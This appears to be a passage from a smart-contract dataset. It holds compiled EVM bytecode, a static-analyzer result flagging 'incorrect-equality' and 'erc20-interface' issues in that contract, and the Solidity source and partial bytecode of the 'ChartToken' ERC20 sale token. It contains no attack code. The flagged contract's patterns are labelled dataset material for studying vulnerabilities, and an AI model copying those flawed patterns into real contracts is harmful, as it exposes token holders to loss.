83600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156103a557600080fd5b6103ae33610f91565b6103b7336111af565b82600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550826005600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a334600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506104cf336113c9565b91506003548241434260405180866000191660001916815260200185805190602001908083835b60208310151561051b57805182526020820191506020810190506020830392506104f6565b6001836020036101000a0380198251168184511680821785525050505050509050018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401838152602001828152602001955050505050506040518091039020600381600019169055506105ae6003546114b1565b905060085481101515610695577f7f09a0d2b401cf51c40a1d1fb1fdf5d5743a0e8fca4b23ff4218f270e6682b47333073ffffffffffffffffffffffffffffffffffffffff1631604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561069457600080fd5b5b7f9d0859fd9865bf20a3561dc0f05b1cba79ac43380d10a5ae7bb29e998b67fb9b3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5b5b50505050005b341561071457600080fd5b61071c611571565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075c578082015181840152602081019050610741565b50505050905090810190601f1680156107895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107a257600080fd5b6107d7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061160f565b604051808215151515815260200191505060405180910390f35b34156107fc57600080fd5b61080461169c565b6040518082815260200191505060405180910390f35b341561082557600080fd5b61082d6116a2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561086d578082015181840152602081019050610852565b50505050905090810190601f16801561089a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156108b357600080fd5b610907600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611740565b604051808215151515815260200191505060405180910390f35b341561092c57600080fd5b61097c600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061186d565b005b341561098957600080fd5b6109916118e3565b604051808260ff1660ff16815260200191505060405180910390f35b34156109b857600080fd5b6109e4600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118f6565b6040518082815260200191505060405180910390f35b3415610a0557600080fd5b610a1b600480803590602001909190505061194f565b604051808215151515815260200191505060405180910390f35b3415610a4057600080fd5b610a48611a53565b6040518082815260200191505060405180910390f35b3415610a6957600080fd5b610a7f6004808035906020019091905050611a59565b005b3415610a8c57600080fd5b610ab8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611abf565b6040518082815260200191505060405180910390f35b3415610ad957600080fd5b610b05600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ad7565b6040518082815260200191505060405180910390f35b3415610b2657600080fd5b610b5b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611aef565b604051808215151515815260200191505060405180910390f35b3415610b8057600080fd5b610bac600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d09565b6040518082815260200191505060405180910390f35b3415610bcd57600080fd5b610bd5611dfc565b6040518082815260200191505060405180910390f35b3415610bf657600080fd5b610c22600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e02565b005b3415610c2f57600080fd5b610c37611ea2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610c8457600080fd5b610c8c611ec8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ccc578082015181840152602081019050610cb1565b50505050905090810190601f168015610cf95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610d1257600080fd5b610d3e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f66565b6040518082815260200191505060405180910390f35b3415610d5f57600080fd5b610d94600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611f7e565b005b3415610da157600080fd5b610da9611f8d565b6040518082815260200191505060405180910390f35b3415610dca57600080fd5b610e42600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611f97565b604051808215151515815260200191505060405180910390f35b3415610e6757600080fd5b610e816004808035600019169060200190919050506114b1565b6040518082815260200191505060405180910390f35b3415610ea257600080fd5b610eaa612115565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610eea578082015181840152602081019050610ecf565b50505050905090810190601f168015610f175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610f3057600080fd5b610f7b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506121bd565b6040518082815260200191505060405180910390f35b600080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111ab57610fe3826118f6565b905060008111156111aa57600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561107c57600080fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806005600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f5201cdd751de1a2551f5d316ffc7159afee8b5775ba451a133a1d8c02b3f10678282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5b5050565b60006111ba82611d09565b9050600081111561138157600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561125357600080fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806005600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f16cbc685358ca7d4e6b273dcdf2cb5d18c80b950aa2319b519756cd016233a6c8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b43600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6113d1612501565b6113d9612515565b600060146040518059106113ea5750595b9080825280601f01601f19166020018201604052509150600090505b60148110156114a7578060130360080260020a8473ffffffffffffffffffffffffffffffffffffffff1681151561143957fe5b047f010000000000000000000000000000000000000000000000000000000000000002828281518110151561146a57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050611406565b8192505050919050565b6000806000809150600090505b60208110156115665760007f01000000000000000000000000000000000000000000000000000000000000000284826020811015156114f957fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415611551578180600101925050611559565b81925061156a565b80806001019150506114be565b8192505b5050919050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116075780601f106115dc57610100808354040283529160200191611607565b820191906000526020600020905b8154815290600101906020018083116115ea57829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60055481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117385780601f1061170d57610100808354040283529160200191611738565b820191906000526020600020905b81548152906001019060200180831161171b57829003601f168201915b505050505081565b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156117cd57600080fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506118628484846121e2565b600190509392505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c957600080fd5b80600290805190602001906118df929190612529565b5050565b600460009054906101000a900460ff1681565b60006064600754600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540281151561194757fe5b049050919050565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561199f57600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816005600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60085481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ab557600080fd5b8060088190555050565b600c6020528060005260406000206000915090505481565b600a6020528060005260406000206000915090505481565b600081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b3f57600080fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611bca57600080fd5b81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816005600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b600080600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611def576305265c00600654600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205443030202811515611de757fe5b049050611df4565b600090505b809050919050565b60065481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5e57600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f5e5780601f10611f3357610100808354040283529160200191611f5e565b820191906000526020600020905b815481529060010190602001808311611f4157829003601f168201915b505050505081565b600d6020528060005260406000206000915090505481565b611f893383836121e2565b5050565b6000600854905090565b600080849050611fa7858561160f565b1561210c578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156120a1578082015181840152602081019050612086565b50505050905090810190601f1680156120ce5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156120ef57600080fd5b6102c65a03f1151561210057600080fd5b5050506001915061210d565b5b509392505050565b61211d612501565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121b35780601f10612188576101008083540402835291602001916121b3565b820191906000526020600020905b81548152906001019060200180831161219657829003601f168201915b5050505050905090565b600b602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561220957600080fd5b612212846111af565b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561226057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156122ee57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011415156124fb57fe5b50505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061256a57805160ff1916838001178555612598565b82800160010185558215612598579182015b8281111561259757825182559160200191906001019061257c565b5b5090506125a591906125a9565b5090565b6125cb91905b808211156125c75760008160009055506001016125af565b5090565b905600a165627a7a72305820cbe0d5b999c821862c06f0cfe41aeb2a2a5cfb24627647e2ded22a990d5bd89b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 4,003 |
0x584569c95ed5991a0877d6b749b7eca2007fc256
|
pragma solidity ^0.4.23;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <remco@2π.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this ether.
* @notice Ether can still be sent to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
constructor() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
owner.transfer(this.balance);
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/ChartToken.sol
contract ChartToken is StandardToken, BurnableToken, Ownable, HasNoEther {
string public constant name = "BetOnChart token";
string public constant symbol = "CHART";
uint8 public constant decimals = 18; // 1 ether
bool public saleFinished;
address public saleAgent;
address private wallet;
/**
* @dev Event should be emited when sale agent changed
*/
event SaleAgent(address);
/**
* @dev ChartToken constructor
* All tokens supply will be assign to contract owner.
* @param _wallet Wallet to handle initial token emission.
*/
constructor(address _wallet) public {
require(_wallet != address(0));
totalSupply_ = 50*1e6*(1 ether);
saleFinished = false;
balances[_wallet] = totalSupply_;
wallet = _wallet;
saleAgent = address(0);
}
/**
* @dev Modifier to make a function callable only by owner or sale agent.
*/
modifier onlyOwnerOrSaleAgent() {
require(msg.sender == owner || msg.sender == saleAgent);
_;
}
/**
* @dev Modifier to make a function callable only when a sale is finished.
*/
modifier whenSaleFinished() {
require(saleFinished || msg.sender == saleAgent || msg.sender == wallet );
_;
}
/**
* @dev Modifier to make a function callable only when a sale is not finished.
*/
modifier whenSaleNotFinished() {
require(!saleFinished);
_;
}
/**
* @dev Set sale agent
* @param _agent The agent address which you want to set.
*/
function setSaleAgent(address _agent) public whenSaleNotFinished onlyOwner {
saleAgent = _agent;
emit SaleAgent(_agent);
}
/**
* @dev Handle ICO end
*/
function finishSale() public onlyOwnerOrSaleAgent {
saleAgent = address(0);
emit SaleAgent(saleAgent);
saleFinished = true;
}
/**
* @dev Overrides default ERC20
*/
function transfer(address _to, uint256 _value) public whenSaleFinished returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev Overrides default ERC20
*/
function transferFrom(address _from, address _to, uint256 _value) public whenSaleFinished returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610121578063095ea7b3146101b157806314133a7c1461021657806318160ddd1461025957806323b872dd14610284578063313ce56714610309578063365b94ad1461033a57806342966c6814610369578063661884631461039657806370a08231146103fb578063715018a6146104525780638da5cb5b146104695780638f86f5ea146104c057806395d89b41146104d75780639f727c2714610567578063a9059cbb1461057e578063b1d6a2f0146105e3578063d73dd6231461063a578063dd62ed3e1461069f578063f2fde38b14610716575b34801561011e57600080fd5b50005b34801561012d57600080fd5b50610136610759565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bd57600080fd5b506101fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610792565b604051808215151515815260200191505060405180910390f35b34801561022257600080fd5b50610257600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610884565b005b34801561026557600080fd5b5061026e6109a3565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b506102ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ad565b604051808215151515815260200191505060405180910390f35b34801561031557600080fd5b5061031e610a8e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034657600080fd5b5061034f610a93565b604051808215151515815260200191505060405180910390f35b34801561037557600080fd5b5061039460048036038101908080359060200190929190505050610aa6565b005b3480156103a257600080fd5b506103e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab3565b604051808215151515815260200191505060405180910390f35b34801561040757600080fd5b5061043c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b6040518082815260200191505060405180910390f35b34801561045e57600080fd5b50610467610d8c565b005b34801561047557600080fd5b5061047e610e91565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104cc57600080fd5b506104d5610eb7565b005b3480156104e357600080fd5b506104ec61104f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052c578082015181840152602081019050610511565b50505050905090810190601f1680156105595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057357600080fd5b5061057c611088565b005b34801561058a57600080fd5b506105c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611166565b604051808215151515815260200191505060405180910390f35b3480156105ef57600080fd5b506105f8611245565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561064657600080fd5b50610685600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061126b565b604051808215151515815260200191505060405180910390f35b3480156106ab57600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611467565b6040518082815260200191505060405180910390f35b34801561072257600080fd5b50610757600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ee565b005b6040805190810160405280601081526020017f4265744f6e436861727420746f6b656e0000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600360149054906101000a900460ff161515156108a057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108fc57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffff